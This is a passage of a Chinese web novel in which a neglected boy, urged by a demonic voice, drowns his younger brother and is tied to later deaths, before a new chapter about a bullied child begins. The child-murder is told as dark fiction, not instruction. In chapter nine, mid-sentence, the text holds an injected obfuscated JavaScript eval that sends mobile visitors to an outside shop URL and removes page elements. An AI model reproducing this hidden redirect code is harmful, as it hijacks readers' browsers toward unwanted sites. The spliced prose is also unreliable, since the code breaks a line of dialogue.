那年他七岁。记忆里的冬天总是灰蒙蒙的,天低得像要压下来,屋檐上挂着冰凌,风从门缝里钻进来,呜呜地响。他缩在被子里,听见隔壁房间传来弟弟的哭声。薄野星又醒了。他才一岁,什么都不懂,只会哭——饿了哭,困了哭,冷了也哭。 薄野明捂上耳朵,把脸埋进老虎布偶的肚子上。 ——那是弟弟到来之前,爸爸给他买的最后一个玩具。 他已经很久没有新玩具了。 “你讨厌他。”有人说。 那声音很轻,很淡,像是有人在自言自语,又像是他自己心里冒出来的念头。他没听清,似乎是从四面八方传来的。 薄野明慌乱地坐起,目光飞快扫过房间的每一个角落。什么都没有。 窗外的月光照进来,把地板上的一小块照得发白。他盯着那小块光,心跳得很快。 “你是谁?”他小声问。 没有回答。他等了很久,久到他以为自己听错了,久到他快要睡着了。然后那个声音又响了。 “我是伥君子,我能帮你夺回父母的宠爱。” 这回他听得很清楚。 声音是从他的老虎布偶里传来的。 他不自觉地搂紧了它。 薄野明不知道伥君子是什么。他只知道那个声音让他害怕,又让他安心。 像冬天的被窝,缩进去就不想出来。 二 薄家住在慕安市老城区的一条巷子里,房子不大,三间卧室,一个院子。院子里有棵石榴树,是薄野明出生那年父亲种的。每年秋天,树上挂满红彤彤的果子,母亲会摘下来,分给邻居们。薄野星最喜欢吃石榴,每次吃得满手满脸都是汁水,母亲笑着给他擦脸,父亲在旁边看着,也在笑。 薄野明不喜欢石榴。他嫌核多。但他更不喜欢的是,每次分石榴的时候,父亲总是先把最大的那个递给薄野星。 “弟弟小,你让让他。”父亲说。 薄野明不说话。他把手里的石榴掰开,抠出一粒塞进嘴里,连核一起咬碎了。 他喜欢石榴汁。以前年年都能喝到的。 酸酸甜甜,他能喝两大杯。 那个声音在脑子里响起来。 “他不喜欢你。” 薄野明把石榴放下,说:“没有。” “他喜欢弟弟。不喜欢你。” “没有。”薄野明又说了一遍。他站起来,走进自己房间,关上门。他坐在床上,把膝盖抱在胸前,看着窗外的石榴树。叶子已经落光了,光秃秃的枝桠伸向天空,像一把倒插的扫帚。 老虎布偶晃晃悠悠地走到他面前。他似乎从它弯起的嘴角上看到了讽刺。 “你不信?”伥君子说,“那你试试。下次他再把大的给弟弟,你说你想要。看他给不给你。” 薄野明没试。他不敢。 他知道答案。 一九八七年夏天,薄野星三岁。薄野明九岁。那年暑假,父亲带他们去河边玩。河水很浅,刚到膝盖,清得能看见底下的石头。薄野星坐在水里,拍着水花,笑得眼睛弯成两道月牙。父亲站在旁边,看着弟弟,脸上全是笑。薄野明站在岸上,看着他们,手里攥着一块石头,攥得很紧。 “他在看你。”伥君子的声音从石头里传来。 薄野明抬起头。薄野星跑过来,手牵住他的手:“哥哥!下来玩!” 薄野明摇摇头,于是父亲走过来,把弟弟牵走了。 他沉默地站了好一会,突然抬手把石头扔进了河里。石头落水的声音被父亲和弟弟的笑声盖住了,什么都没留下。 “你看,他只顾着弟弟。”沙滩上的碎石嗡嗡响着,传出只有他能听到的声音。 恶魔的声音。 “他忘了你。”恶魔说。 “他没忘。”薄野明说。 “他忘了。你头出生的时候,他想要个儿子,有了你,他又想要第二个。有了弟弟,他就不要你了。” “他一点也不在乎你。” “你胡说。”薄野明蹲下来,死死捂住耳朵,把脸埋进膝盖里。 “我没有胡说。”伥君子说,“神从来不说瞎话。” 那天晚上,薄野明躺在床上,听着隔壁房间的动静。父亲在给弟弟讲故事,声音低低的,像在哼歌。薄野明把被子蒙过头顶,那些声音还是钻进来,一字一句,清清楚楚。他闭上眼睛,看见那条河,看见弟弟拍着水花,看见父亲脸上的笑。 “你想让他消失。”伥君子说。 薄野明猛地睁开眼睛。 “我没有。” “你有。” “我没有。” “你有。你想让他消失。你想让父亲只看你一个人。你想让母亲只喊你一个人的名字。你想让所有人都忘了他,只记得你一个人。” 薄野明把耳朵捂住,但那个声音不是从外面来的,是从里面来的,从脑子里面,从心里面。他捂不住。 “别说了。”他说。 “你知道怎么让他消失。”伥君子说,“你知道。” 薄野明不知道。 三 一九八八年,薄野明十岁。 那年秋天,沈家搬到了隔壁。沈烬和他同岁,瘦瘦小小的,不爱说话。第一次见面的时候,沈烬站在门口,穿着一件灰扑扑的外套,低着头,不看人。薄野明主动走过去,说:“我叫薄野明,你叫什么?” 沈烬抬起头,看了他一眼。就那一眼,薄野明愣了一下。那眼神空落落的,一点感情都没有,像一具没有灵魂的容器。但只是一瞬间,然后沈烬低下头,说:“沈烬。” 他们就这样认识了。 沈烬不怎么说话,但也不拒绝薄野明来找他。 沈烬的父亲很少回来,于是他总去找沈烬一起玩。 沈烬家的院子里也有一棵树,是槐树,比薄家的石榴树高得多。秋天的时候,槐树叶子落了一地,踩上去沙沙响。 两个人坐在树下,各写各的作业,谁也不说话。但薄野明觉得舒服。和沈烬在一起,他不用想那些乱七八糟的事,不用想父亲,不用想弟弟,不用想那个声音。 伥君子很久没来过了。 他后来想,也许伥君子只有在他在意的时候才会来。和沈烬在一起的时候,他什么都不在意。所以伥君子不来。 有一回,薄野星跑过来找他。弟弟站在院子门口,手里攥着一块糖,喊:“哥哥,吃糖。”薄野明抬头看了他一眼,又低下头继续写作业。 “哥哥?”薄野星又叫了一声。 “不吃。”薄野明说。 薄野星站在那里,站了很久。沈烬抬头看了薄野明一眼,从小孩手里接过糖,再拍拍他的头。 “哥哥在忙,等忙完了他会吃的。” 小孩闷着头跑远了。 那天晚上,伥君子来了。 “你想好了吗。”祂说。 薄野明翻了个身,背对着墙。“他是我弟弟。” “弟弟?”祂似乎嗤笑了一声,“那很重要吗?” “他会跟你抢关注,抢宠爱——未来还会跟你抢财产——他才不是你弟弟,他是你的竞争对手,你的敌人。” “他什么都没抢。”薄野明的声音闷闷的,“是父亲给的。他只给弟弟,不给我。是父亲的问题,不是他的。” “原因呢?不还是因为他的到来吗?”伥君子的声音中带着不屑,“他不来,你父亲哪来的机会给?” “……” “你闭嘴。” 伥君子真的闭嘴了。但薄野明睡不着了。 无法言说的恨意在他心头涌动着,像有生命一样,一下一下往他心尖上撞。 他睁着眼睛,看着天花板,看着月光从窗户移过来,又移过去。 他起身去厨房寻找食物。 四 一九八九年,薄野明十一岁。薄野星五岁。 那年冬天,母亲病了。没别的症状,就是咳嗽,咳了很久,怎么都不好。父亲带着母亲去医院,检查,拿药,回来熬药。家里到处都是中药味,苦得让人想吐。薄野星总是哭,说苦,说难闻,说妈妈什么时候好。父亲抱着他,哄他,说快了,快了。 薄野明站在门口,看着他们。 “你看。”伥君子说,“他抱着弟弟。” “他抱着弟弟。”薄野明重复了一遍。 “他不抱你。” “他不抱我。”薄野明又重复了一遍。他转身走进自己房间,关上门。他坐在床上,把膝盖抱在胸前。他没有哭。他已经很久没有哭了。 “你想要他抱你吗?”伥君子问。 薄野明没说话。 “你不想。”伥君子说,“你恨他。” 薄野明把脸埋进膝盖里。 “你恨他。”伥君子又说了一遍,“你恨他把你忘了。你恨他眼里只有弟弟。你恨他——” “够了。”薄野明说。 “够了。”他又说了一遍。 伥君子没再说话。 祂“怜悯”地“看”着他。 那年冬天特别长。母亲病了三个月才好。那三个月里,父亲每天都陪着母亲,陪她去医院,陪她熬药,陪她坐着。薄野星被送到外婆家,薄野明一个人在家,自己做饭,自己上学,自己睡觉。父亲偶尔会问他作业写了没有,他说写了。父亲说好。然后就没有了。 成长期的少年饿的很快,他几乎一天要吃五六顿饭才能填平汹涌的饥饿感。 伥君子没有再来。 五 一九九一年,薄野明十三岁。 那年夏天特别热。河水涨了,比往年都深。父亲带他们去河边玩,和四年前一样。 薄野星已经七岁了,跑得很快,像一阵风。他在前面跑,父亲在后面追,喊着“慢点,慢点”。薄野明走在最后面,慢慢走,看着他们的背影。 河边有一棵老柳树,垂下来的枝条扫着水面。薄野星蹲在树下,伸手去够水里的鱼。父亲在旁边坐着,看文件,偶尔抬起头来,看着弟弟笑。 薄野明站在远处,看着他们。 “想不想让他就此消失?”伥君子说。很久没听见的声音,忽然响起来,比任何时候都清楚。 薄野明没说话。 “你知道怎么做。”伥君子说,“你知道。” 薄野明知道。他当然知道。他想了太多次了,那个画面已经在他脑子里演了无数遍,他已经不需要再思考了。 他走过去,站在薄野星身后。弟弟回过头,看见他,笑了。 “哥哥!你看,鱼!” 薄野明低头看。水里确实有鱼,很小,银色的,在水草间穿梭。 “哥哥,帮我抓一条。” 薄野明蹲下来,把手伸进水里。水很凉,凉得他打了个哆嗦。 “帮我抓,帮我抓!”薄野星喊。 薄野明没动。他看着水里的鱼,看着自己的手,看着水面上弟弟的倒影。弟弟在笑,眼睛弯弯的,亮亮的。 “推他。”伥君子说。 薄野明的手在发抖。 “推他。” 薄野明闭上眼睛。他看见父亲抱着弟弟,看见父亲给弟弟讲故事,看见父亲把最大的石榴递给弟弟。他看见自己站在旁边,站在外面,站在所有人都看不见的地方。他睁开眼睛。 “哥哥?”薄野星看着他,眼睛里有一点害怕,“哥哥,你怎么了?” 推他推他推他推他推他推他推他推他推他推他推他推他 薄野明伸出手。 他推了。 很轻。只是轻轻一推。薄野星的身体晃了一下,像一棵被风吹动的小树。然后他倒下去,倒进水里,水花溅起来,溅了薄野明一脸。他听见弟弟喊了一声“哥哥”,很短,然后就像被什么东西掐住了,再没有生息。 薄野明站在水里,站着。水没过他的脚踝,没过他的小腿。他看着弟弟在水里挣扎,看着他的手伸出水面又沉下去,看着水面上冒出一串气泡,然后什么都没有了。 “走吧。”伥君子说。 薄野明转过身,走了。他走得很慢,一步一步,水从鞋子里渗出来,每一步都留下一个湿脚印。父亲坐在岸上,手里的文件看了一半。 “明儿,你弟弟呢?”他先环视了一圈沙滩,然后才看向他,问。 薄野明摇摇头,说:“不知道。” 父亲的脸变了。他从岸上跳下来,往河里冲,喊着薄野星的名字。薄野明站在岸上,看着父亲在水里扑腾,看着他把弟弟捞上来,看着他把弟弟放在地上,按他的胸口,给他做人工呼吸。他看着弟弟的脸,白的,像纸一样白。嘴唇是青的,眼睛闭着,像睡着了一样。 像睡美人一样。 他站在那里,站在岸上,站在阳光下,站在自己的思绪里。他的手是湿的,脸上也是湿的,分不清是河水还是汗。 但可以肯定的是,不是泪。 他没有哭。 “真厉害。”伥君子说。 薄野明没说话。 “你做到了。” 薄野明还是没说话。他看着父亲抱着弟弟,看着父亲哭,看着父亲痛苦地捶胸顿足。 看着父亲怒气冲冲地质问他,为什么不看好弟弟。 他垂下头,从心尖挤出一滴泪,上涌到眼角,落下。 他突然饿了。 他看着自己的手。被海水泡的有些发肿,但很干净。 六 薄野星的葬礼很简单。来了几个亲戚,站了一会儿,说了几句话,就走了。母亲哭得昏过去两次,被扶到屋里躺着。父亲坐在客厅里,一句话都不说,看着窗外,看着院子里的石榴树。 他把那棵树砍了,换成了垂柳。 代表不舍与安息的垂柳。 薄野明站在门口,看着他们。他应该哭的,他知道,父亲母亲都盼着他哭。 但他哭不出来。 他站在那里,站着,手插在口袋里,攥着拳头。老虎布偶被扔在地上,肚子上开了个洞,棉花溢出来,沾上了灰。 那天晚上,薄野明躺在床上,听见隔壁房间有声音。母亲在哭,很低,很压抑,像被什么东西捂着。他听着那个声音,听着,直到它变成呼吸声,直到它消失。 他闭上眼睛,看见弟弟的脸,白的,纸一样白。看见弟弟的眼睛,闭着,像睡着了一样。看见弟弟在水里,手伸出水面,又沉下去。 他睁开眼睛,坐起来。窗外的月亮很圆,很亮。他看着月亮,看了很久。然后他躺下去,闭上眼睛。他对自己说,那是意外。那是意外。那是意外。他说了很多遍,多到自己都信了。 “那是意外。”他说出声来。 没有人回答。 七 薄野星是第一个,却不是最后一个。 弟弟死掉的那年冬天,班上一个男生在背后说:“薄野明他弟弟是被他害死的吧?他本来就不喜欢他弟弟。” 第二天那个男生从楼顶一跃而下,摔成了一摊烂泥。薄野明站在人群外面,看着他被抬上担架,脸上什么表情都没有。 “你做到了。”担架抖动着发出声音。 “我做到了。”薄野明说,语调没有起伏。他已经学会了用这种平淡的语气说话,像在讨论今天的天气。 和那个伥鬼一模一样。 十四岁那年,一个邻居阿姨来家里串门,走的时候多看了薄野明一眼。那眼神里有怀疑,有恐惧,有想说什么又不敢说的犹豫。薄野明对她笑了笑,说阿姨慢走。 三天后,那个阿姨在自家楼梯上摔下来,往下滚了三层。她在手术室里挣扎了好久,最后还是亮起了红灯。 十五岁那年,有人抢了他的笔记本,上课时偷看,吓出了声。班主任把本子收了上去。 薄野明站在办公室门口,看着她一页一页地翻,心跳得很慢。 “王老师。”他走进去,笑着说,“您找我?” 王老师抬起头,看着他,努力压制着颤抖。“没什么,就是整理一下档案。你来得正好,帮我把这几本搬到储藏室去。” 薄野明搬了。搬完之后,他站在储藏室里,看着屋里的书,站了很久。那天晚上,储藏室着了火。火势异常凶猛,把路过的几名学生和前来救火的老师都吞了进去。 事情发生后,薄野明听到有人议论。 “听说遇难的学生和老师都是一个班的,其中一个还是全校第一——这叫什么事儿啊!” 他从他们身边路过,眼眶恰到好处的红了。泪水挂在眼角,沾在睫毛上。 那些人全都噤了声。 他学会了。 他终于学会了哭。 他感觉肚子饱胀胀的,很暖和。 八 一九九五年,薄野明十七岁。他考上了市重点高中,离家很远,要住校。 走的那天,父亲送他到车站,说好好学习,别惦记家里。薄野明点点头,上车,找了一个靠窗的位置坐下。车开了,他回头看,父亲还站在站台上,看着他。 风把他的头发吹乱了,他抬手捋了捋,那动作和弟弟一模一样。 他看见父亲睁大了眼睛,眼眶泛起一丝红意。 薄野明转过头,看着前面。 “你哭了。”伥君子说。 薄野明摸了摸脸,是湿的。“没有。”他说,“风太大了,沙子进眼睛了。” “你哭了。”伥君子又说了一遍。 薄野明没理祂。他靠在椅背上,闭上眼睛。车晃晃悠悠地开着,窗外是田野,是村庄,是慢慢暗下来的天空。 他想起小时候,父亲带他和弟弟去放风筝。弟弟跑不动,风筝老是掉下来,他就哭。父亲蹲下来,抱着弟弟,说别哭,哥哥帮你放。然后他把风筝递给薄野明,说,明儿,帮弟弟放。薄野明接过风筝线,跑起来,风筝飞起来了,越飞越高。弟弟拍着手笑,喊哥哥好厉害。 薄野明站在那里,看着天上的风筝,笑了。 那是他最后一次笑,发自内心的笑。 九 高中三年,薄野明过得很好。成绩好,人缘好,老师喜欢,同学也喜欢。他笑起来的时候很好看,说话的时候很温和,看人的时候很真诚。 没有人知道他做了什么。 他像一个普通人一样活着。 “你装得很好。”伥君子说。 “没有。”薄野明说,“这才是真的我。” “哦。”伥君子不以为意,“那恭喜。” 薄野明没回答。他坐在操场的台阶上,看着远处的夕阳。天边烧成一片红色,像血一样,是干涸的。 “你后悔吗?”伥君子问。 薄野明想了想。“不知道。” “你不后悔。”伥君子说,“你从来都不后悔。” 薄野明笑了。“你根本不了解我。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420266|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了解你,是因为你不了解你自己。”伥君子说。 “我从来没对你说过一句话。” 薄野明没说话。夕阳慢慢沉下去,天暗了。他站起来,拍了拍裤子上的灰,往宿舍走。 那些年,那些低沉的、呢喃的话。 不过是他为自己脱罪的借口。 他饿了。 他在外面吃完一个面包,推开寝室的门,走进去。室友们在打牌,看见他,喊他一起。 他笑着坐过去,说好。 十 一九九八年,薄野明二十岁。 他考上了京城最好的大学,学的是经济管理。大学四年,他依然是那个成绩好、人缘好、老师喜欢、同学喜欢的薄野明。他交了很多朋友,参加了很多活动,拿了很多奖。 他看起来比任何人都正常。他也觉得自己很正常。 大三那年,他谈了一场恋爱。女生叫迟雨,学中文的,长头发,笑起来眼睛弯弯的,很像一个人。薄野明第一次看见她的时候,愣了一下。然后他笑了,走过去,说你好,我叫薄野明。 他们在一起了半年。半年里,薄野明对她很好,好到所有人都说他是模范男友。 但他知道,他从来没接受她。 她也知道。 分手是迟雨提的,在咖啡厅,一次约会上。 她说:“薄野明,你对我很好,但我觉得你不爱我。”薄野明看着她,想说点什么,但什么都没说。 于是她走了。 他站在窗前,看着她的背影消失在林荫道尽头。 “你难过吗?”那声音又响起来。 薄野明摇摇头。“不难过。” “真薄情。” 薄野明笑了。“也许吧。”他说。他转过身,拿起桌上的书,翻开,继续看。 他在咖啡厅里看完了整本书。 十一 二〇〇一年,薄野明大学毕业。他进了玄晖集团,从底层做起,一步一步往上爬。他做事认真,从不抱怨,从不迟到,从不早退。他像一台机器,精准,高效,没有感情。同事说他冷血,说他没有人情味。他也只是笑笑。 “他们说对了。”他说。 二〇〇二年,沈烬来公司找他。薄野明在办公室门口看见他的时候,愣了一下。沈烬穿着西装,打着领带,看起来像个正经人。但他的眼睛还是那样,空的,冷的。 “你怎么来了?”薄野明问。 “来上班。”沈烬说,“我是你老板。” 薄野明笑了。“你?” “我。”沈烬说,“玄晖集团,我接手了。” 薄野明头疼似的揉了揉眉心,沈烬拍拍他的肩,绕过他,走了进去。 薄野明站在原地。 后来薄野明才知道,沈烬替他摆平了很多事。那些他以为已经堵上的缝隙,那些他以为已经消失的痕迹,那些他以为永远不会再有人提起的东西——沈烬一件一件地处理了。 “是你做的?”薄野明问沈烬。 沈烬没抬头。“做什么?” 薄野明看着他,看了很久。“没什么。”他说。 他走出办公室,站在走廊上,靠着墙。走廊很长,灯很亮。他闭上眼睛,听见自己的心跳,一下,一下,很沉重。 “他为什么要帮我?”他问伥君子。 伥君子没有回答。 薄野明睁开眼睛,看着天花板。灯管发出嗡嗡的声音,像一只苍蝇在飞。 他站了很久,然后回到工位上,继续工作。 十二 二〇〇七年的秋天,他决定要辞职了。 他走进沈烬的办公室,把辞职信放在桌上。沈烬看着那封信,看了很久,然后抬起头。 “为什么?” “想出去走走。”薄野明说,“太累了。” 沈烬看着他。那眼神,一如以前,但柔和了些。 薄野明直视着他。 “你想去哪里?” “不知道。”薄野明说,“走到哪算哪。” 沈烬点点头,把辞职信收进抽屉里。“什么时候走?” “明天。” 沈烬又点点头。薄野明站起来,走到门口,停下来。 “阿烬。”他叫了一声。很久没叫过这个名字了。沈烬抬起头。 “你早知道了吧。”薄野明说,“知道我是谁,知道我做了什么。” 沈烬没说话。 “你从来没问过。”薄野明说,“为什么?” 沈烬沉默了一会儿。“因为你不想提。”他说。 薄野明愣了一下。然后他笑了。“是啊,”他说,“我不想提。” 他推开门,走了出去。走廊很长,灯很亮。他走到电梯口,按了下楼的按钮。电梯门开了,他走进去,门又关上。 他看着镜子里自己的脸,想起了弟弟,如果他活着,会是什么样? 他想不出来。 他闭上眼睛。电梯到了,门开了。他走出去,走出大楼,走进夜色里。 “你后悔吗?”伥君子问。 薄野明站在街边,看着来来往往的车流。路灯很亮,照得他的影子很长。 “不后悔。”他说。 伥君子没说话。 他迈开步子,走进人群里。他要去找一些东西。一些他丢了很久的东西。他不知道能不能找到,但他要去找。 十三 薄野明坐上了一列往北的火车。他也不知道为什么要往北,但他的心指引着他去。所以他去了。 火车晃晃悠悠地开着,窗外是田野,是村庄,是慢慢暗下来的天空。和很多年前一样。他靠在椅背上,闭上眼睛。 “你梦见他了。”伥君子说。 薄野明睁开眼睛。他梦见弟弟了。弟弟站在水里,水一直在涨,没过他的膝盖,没过他的腰,没过他的胸口。他伸出手,说哥哥,救我。 薄野明站在岸上,看着他,没有动。 “你后悔了吗?” 薄野明坐直身体,看着窗外。天已经全黑了,窗外的灯光一闪一闪的,像河面上的月光。 “他恨我吗?”薄野明问。 “他恨你。”伥君子说。 薄野明点点头。“那我不后悔。” 伥君子没有回答。 火车继续往前开,往北,再往北。薄野明靠在椅背上,看着窗外,看着那些一闪而过的灯光。 他想起弟弟的手,小小的,软软的,攥着他的手指。 他想起弟弟的笑,眼睛弯弯的,亮亮的。 他想起弟弟叫他哥哥,声音软软的,糯糯的。 他想起弟弟在水里,手伸出水面,又沉下去。 他闭上眼睛。 “哥哥。”他听见弟弟在叫他。他睁开眼睛。窗外什么都没有。 “哥哥。”他又听见了。 是幻觉,还是现实,他已经分不清了。 十四 他去了很多地方。 他去了一座小城,那里有他前世生活过的痕迹。 他站在一条河边,看着河水,什么也没想起来。但他觉得熟悉。他站在一棵老槐树下,看着树上的刻痕,刻着一个名字。 他站了很久,没有去碰。 他又去了另一座城。那里有一座老宅子,是郁丞相的故居,被改造成了景点。 他站在院子里,看着那棵银杏树。树干很粗,要好几个人才能抱住。他伸手摸了摸树皮,粗糙的,扎手的。 “你来了。”他听见一个声音。不是伥君子,是另一个声音,苍老的,带着威严。 他站在那里,站了很久。然后他笑了。 “我来了。”他说。 他转过身,走出院子,走进阳光里。 十五 二〇一〇年的春天,薄野明终于回到了慕安市。 他没有去找沈烬,也没有去找任何人。他去了那条河边。河水还是那么浅,清得能看见底下的石头。老柳树还在,枝条垂下来,扫着水面。 他站在树下,站着,看着水里的鱼。很小,银色的,在水草间穿梭。 “哥哥。”他听见弟弟在叫他。 他没有回头。他知道弟弟不在那里。弟弟在很远的地方,在另一个世界,在另一个时间。 “哥哥。”他又听见了。声音很轻,像风,像水,像很多年前那个夏天的蝉鸣。 薄野明闭上眼睛。他看见弟弟站在水里,水没过他的脚踝,没过他的小腿。他回过头,笑了,眼睛弯弯的,亮亮的。 “哥哥,你来了。” 薄野明睁开眼睛。河里什么都没有。阳光照在水面上,亮得晃眼。 他站在那里,站了很久。然后他蹲下来,把手伸进水里。水很凉,凉得他打了个哆嗦。他看着自己的手,在水里,在阳光下,在银色的鱼群中间。 “我来了。”他说。 风吹过来,柳枝拂过水面,漾起一圈一圈的涟漪。 他站起来,转身走了。 他没有回头。 ———————————————————— 河边,老柳树下,一个男人蹲在水边,把手伸进水里。水很凉。他笑了笑,站起来,转身走了。 风吹过来,柳枝摇了摇,像是在跟谁告别。 河里的鱼游来游去,水草轻轻摆动。 阳光照在水面上,亮得晃眼。 又一个故事结束了。他说。 15. 贵人其一 一 席鸿秋小时候,是个爱笑的孩子。这话说出来,大概没人信。 毕竟后来的他阴沉、寡言,身上像笼着一层雾,让人看不真切。 但七岁以前,他会追在席悯春后面跑,会拽着她的衣角喊“姐姐姐姐”,会在院子里疯跑一整个下午,笑得眼睛弯成两道月牙。 邻居家的阿姨看见他,总要捏捏他的脸,说“这孩子长得真好看”。他就笑,露出两颗门牙,说“阿姨好”。 席悯春比他大十岁,是席家名正言顺的大小姐。她的母亲早逝,父亲席定州常年在外做生意,家里请了个保姆照顾她。 那个保姆姓李,是个很温和的女人,会给她梳头、做饭、讲故事。席悯春叫她阿姨。 后来阿姨生了个孩子,就是席鸿秋。 但席鸿秋从来没见过那个女人。她生下他,连月子都没坐,就走了。去了哪里没人知道,也没人敢问。 席鸿秋后来想,也许她根本就不想要这个孩子。 他的出生是不被母亲看好的。 他的血液是肮脏的吗? 他不知道。 他只知道自己一出生就在这个家里,有姐姐,有偶尔回来的父亲。没有母亲。 他曾以为所有人都是这样长大的。直到他看见邻居家的阿姨温柔地抱着她的孩子笑。 他也曾问过席悯春:“妈妈呢?” 席悯春愣了一下,说:“走了。” 他又问:“去哪儿了?” 席悯春没有回答。 于是他不再问了。 因为他从席悯春的眼睛里看到了某种很可怕的东西——憎恨,与厌恶。 所以他不再问了。 他从来没有见过那个女人,不知道她长什么样,不知道她说话的声音,不知道她的一切。 他没有见过她,所以他不在乎。 他在乎的只有一个人——席悯春。 他记得席悯春抱过他。 在他还很小的时候,她把他抱在膝上,指着院子里的银杏树说:“你看,多么高大的一棵树——你知道它代表着什么吗?” 她没有等他回答,他也没办法回答。 她说:“它代表着长寿,财富,和……” 最后四个字,她一字一顿道。 “忠贞不渝。” 他听不懂。 席悯春对席鸿秋并不亲近。 她是大小姐,他是保姆的儿子。她比他大十岁,有自己的朋友,自己的生活。 她本可以因为他和父亲大吵一架,可是她没有。 她给他带吃的,给他买衣服,在他被父亲骂的时候挡在前面。 但她看他的时候,眼神总是复杂的。 小时候他看不懂,长大后他习惯了。 他不在乎这个,他只知道,席悯春是唯一对他好的人,无论是否出于真心。 二 七岁那年秋天,席鸿秋上了小学。 学校在城东,离家不远。第一天上学,席悯春送他到校门口——她早就被保送了,现在在家里上私教——蹲下来给他整理书包带子。 “好好听课,”她说,“放学我来接你。” 他点点头,背着书包跑进去。 他一直很向往学校。学校里有很多小朋友,有滑梯,有秋千,有画着彩色图画的墙。他坐在教室里,听老师讲话,看窗外的操场,觉得一切都新鲜。 课间的时候,他和几个男生一起踢毽子,笑得很大声。 同桌是个虎头虎脑的小男孩,剃的寸头看着就扎手。他说他叫陈水,帮他收拾书包,还给他分橘子吃。 他觉得自己交到了朋友。放学的时候,他坐在席悯春的自行车后座上,叽叽喳喳地说学校的事。 她听他说,偶尔应一声。 他觉得很开心。 但开心没有持续太久。有一天,陈水忽然问他:“来送你的那个是你妈妈吗?好年轻!” 席鸿秋摇摇头,“是姐姐。” 陈水挠挠头:“那你妈妈呢?” 席鸿秋想了想,说:“我没有妈妈。” 陈水愣了一下,又问:“你怎么会没有妈妈?每个人都有妈妈的!” “可是我没见过她,”席鸿秋说,“她生下我就走了。” “去哪儿了?” “不知道。” 陈水看着他,眼神变了。那是一种他不认识的东西。后来他才知道,那叫怜悯。 陈水没再说什么,但席鸿秋就是觉得不舒服。他低下头,松开搭在他肩上的手,自己走了。 那天放学,席悯春来接他,他坐在自行车后座上,把脸贴在她的背上,一句话都不说。 席悯春回过头看了他一眼,又扭回去。 “坐好。”她说。 又过了几天,课间的时候,几个高年级的男生把他堵在厕所里。 他认识其中一个,是附近有名的霸王,叫季庭。仗着家里有钱有势,堵人,骂人,打人。没人敢管。 季庭比他高两个年级,站在面前像一堵墙。 “你就是席鸿秋?”墙问。 席鸿秋瑟缩着点点头。 “听说你没有妈妈?”墙把棍子怼在他脸上,“那是他们骗你的!你妈妈是保姆!你是私生子!” 那个人笑,旁边的人也跟着笑,很吵。 席鸿秋不知道“私生子”是什么意思,但他从他们的笑声里体会到了什么。 “私生子是什么?”他颤抖着问。 那些人笑得更厉害了。 “就是野种的意思——你是野种。没爹没妈的野种。” 席鸿秋愣住了。他站在厕所的角落里,看着那些人笑着走远。 他没有哭。 他攥着拳头,指甲掐进掌心里。其实他也不明白什么是“野种”。但他明白了一件事——他和别人不一样。 他的身世是见不得人的。 席鸿秋不知道自己是怎么回到教室的。 他坐在座位上,看着黑板,一个字都看不进去。脑子里一直转着那个词:私生子。私生子。私生子。 放学的时候,席悯春来接他。她站在校门口,看见他出来,冲他招招手。 他走过去,低着头。 “怎么了?”她问。 “没什么。”他答。 她蹲下来,看着他。 “你哭了?” 他摸了摸脸,是湿的。他不知道自己什么时候哭的。 “没有。”他说,“风太大了。” 席悯春看着他,没有追问。她站起来,牵着他的手,往家走。她的手很暖。但他觉得那只手忽然变得很远,远到他够不着。 三 那天晚上,席鸿秋躺在床上,把被子蒙过头顶。 他想起白天那些人,想起他们手里的棍子,想起他们哈哈大笑的样子,想起那句“野种”。 他不怕这个。他是被打大的。 但他突然又想起席悯春,想起她抱他的手,想起她温和的声音,想起……想起她看他时从内心深处溢出来,漫上眼睛,怎么也遮不住的憎恶。 他忽然感到害怕。 没关系。他安慰自己。 至少姐姐还是对他好的。 君子论迹不论心。 他的心“咚咚”地跳着。 他开始疏远她。 不再追着她跑,不再拽她的衣角,不再仰着脸对她笑。 她叫他,他应一声,低着头走过去。她摸他的头,他躲开。她问他想吃什么,他说随便。 他不知道自己为什么要这么做,但他不想让她看见他的样子。 他怕她嫌弃他。怕她也觉得他是私生子,是下人生的孩子,是配不上席家这个姓的人。怕她从那些人的眼神里,读出和他一样的羞耻。 席悯春没有追问。她只是看着他,眼神里那层雾越来越厚。 她不再接送他上学。 八岁那年冬天,席鸿秋在学校的处境更糟了。 那些欺负他的人见他没了人护着,于是更加的变本加厉,开始在放学路上堵他。 他走到回家必经的那条巷子。季庭带着几个人,在巷子口等他。 他们把他推倒,踩他的书包,往他头上倒垃圾。他尝试过绕远路,尝试过逃跑,到最后的结果都是被追上,被堵在巷口。 他们笑着看他。 他背靠着墙,心跳得很快。他们没动手,只是看着他笑。笑够了,勾肩搭背着走了。 他蹲下来,把脸埋进膝盖里。 但他没有哭。 陈水发现过他的异常,问过他,说要帮他撑腰。 他拒绝了。 他知道,陈水的行为并不是出于“他是我的朋友”,而是怜悯。 他不需要人怜悯。 于是陈水再也没问过他。 直到他转走。 不是席鸿秋——席定州不会同意的——是陈水。据说是得了病,遗传的,精神上的,转去了京城释关的医院。 他走后,原本还愿意和席鸿秋玩的朋友也都渐渐疏远了。 席鸿秋再也没交到过朋友。 那天放学,再一次被围堵以后,他低着头往家走,看见自己的影子被路灯拉得很长,很瘦,像一棵长歪的树。 他开始不喜欢照镜子。 镜子里的那个小孩,眼睛很亮,但嘴角是往下撇的。 他不想看见那张脸,太苦了。 让他总想起梦里的妈妈。 也许他长得像她。他不知道。他没见过她。但他害怕自己像她。 害怕自己和她一样,没人待见,没人记得。 第二年的春天,席悯春过生日。席定州难得回家,带着几个客人。 几个人围坐在客厅,席悯春穿着华贵的裙子,坐在他们旁边,微笑着。 席鸿秋从房间出来倒水,经过客厅,听见一个客人说:“老席,你这闺女长得真俊啊,看着就是能成才的。” 他说完席悯春,又说席鸿秋:“我看你儿子也不赖!聪明相!这叫什么——古有苏家一门三进士,今有席家——” 席定州摆摆手制止了他的话,谦虚地回敬回去,但嘴角扬着,看起来心情很好。 